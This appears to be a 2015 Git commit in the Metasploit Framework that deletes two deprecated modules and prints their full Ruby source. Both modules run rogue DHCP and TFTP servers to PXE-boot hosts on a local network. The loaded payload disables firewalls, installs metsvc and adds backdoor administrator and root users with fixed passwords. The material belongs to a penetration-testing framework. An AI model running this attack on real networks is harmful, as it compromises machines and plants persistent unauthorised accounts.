remove deprecated modules

bug/bundler_fix
Christian Mehlmauer 2015-04-16 22:49:22 +02:00
parent f0d6735332
commit 2b9fd93729
No known key found for this signature in database
GPG Key ID: BCFF4FA966BC32C7
2 changed files with 0 additions and 188 deletions

View File

@ -1,88 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/tftp'
require 'rex/proto/dhcp'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::TFTPServer
include Msf::Auxiliary::Report
include Msf::Module::Deprecated
deprecated(Date.new(2015, 4, 11), 'auxiliary/server/pxeexploit')
def initialize
super(
'Name' => 'PXE Boot Exploit Server',
'Description' => %q{
This module provides a PXE server, running a DHCP and TFTP server.
The default configuration loads a linux kernel and initrd into memory that
reads the hard drive; placing a payload to install metsvc, disable the
firewall, and add a new user metasploit on any Windows partition seen,
and add a uid 0 user with username and password metasploit to any linux
partition seen. The windows user will have the password p@SSw0rd!123456
(in case of complexity requirements) and will be added to the administrators
group.
Note: the displayed IP address of a target is the address this DHCP server
handed out, not the "normal" IP address the host uses.
},
'Author' => [ 'scriptjunkie' ],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service',
'DefaultOptions' => {
'FILENAME' => 'update1',
'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them!
}
)
register_advanced_options(
[
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from',
File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]),
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
], self.class)
end
def run
print_status("Starting TFTP server...")
@tftp = Rex::Proto::TFTP::Server.new
@tftp.set_tftproot(datastore['TFTPROOT'])
@tftp.start
add_socket(@tftp.sock)
print_status("Starting DHCP server...")
@dhcp = Rex::Proto::DHCP::Server.new( datastore )
@dhcp.report do |mac, ip|
print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+
"(#{Rex::Socket.addr_ntoa(ip)})")
report_note(
:type => 'PXE.client',
:data => mac.unpack('H2H2H2H2H2H2').join(':')
)
end
@dhcp.start
add_socket(@dhcp.sock)
# Wait for finish..
@tftp.thread.join
@dhcp.thread.join
end
end

View File

@ -1,100 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Module::Deprecated
deprecated(Date.new(2015, 4, 11), 'post/windows/manage/pxeexploit')
def initialize
super(
'Name' => 'Windows Manage PXE Exploit Server',
'Description' => %q{
This module provides a PXE server, running a DHCP and TFTP server.
The default configuration loads a linux kernel and initrd into memory that
reads the hard drive; placing a payload to install metsvc, disable the
firewall, and add a new user metasploit on any Windows partition seen,
and add a uid 0 user with username and password metasploit to any linux
partition seen. The windows user will have the password p@SSw0rd!123456
(in case of complexity requirements) and will be added to the administrators
group.
See exploit/windows/misc/pxesploit for a version to deliver a specific payload.
Note: the displayed IP address of a target is the address this DHCP server
handed out, not the "normal" IP address the host uses.
},
'Author' => [ 'scriptjunkie' ],
'License' => MSF_LICENSE,
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)
register_advanced_options(
[
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from',
File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]),
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]),
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
], self.class)
end
def run
if not client.lanattacks
print_status("Loading lanattacks extension...")
client.core.use("lanattacks")
else
if datastore['RESETPXE']
print_status("Resetting PXE attack...")
client.lanattacks.dhcp.reset
end
end
#Not setting these options (using autodetect)
print_status("Loading DHCP options...")
client.lanattacks.dhcp.load_options(datastore)
0.upto(4) do |i|
print_status("Loading file #{i+1} of 5")
contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
client.lanattacks.tftp.add_file("update#{i}",contents)
end
print_status("Starting TFTP server...")
client.lanattacks.tftp.start
print_status("Starting DHCP server...")
client.lanattacks.dhcp.start
print_status("PXEsploit attack started")
while (true) do
begin
# get stats every 20s
select(nil, nil, nil, 20)
client.lanattacks.dhcp.log.each do |item|
print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+
"(#{Rex::Socket.addr_ntoa(item[1])})")
report_note({
:type => 'PXE.client',
:data => item[0].unpack('H2H2H2H2H2H2').join(':')
})
end
rescue ::Interrupt
print_status("Stopping TFTP server...")
client.lanattacks.tftp.stop
print_status("Stopping DHCP server...")
client.lanattacks.dhcp.stop
print_status("PXEsploit attack stopped")
return
end
end
end
end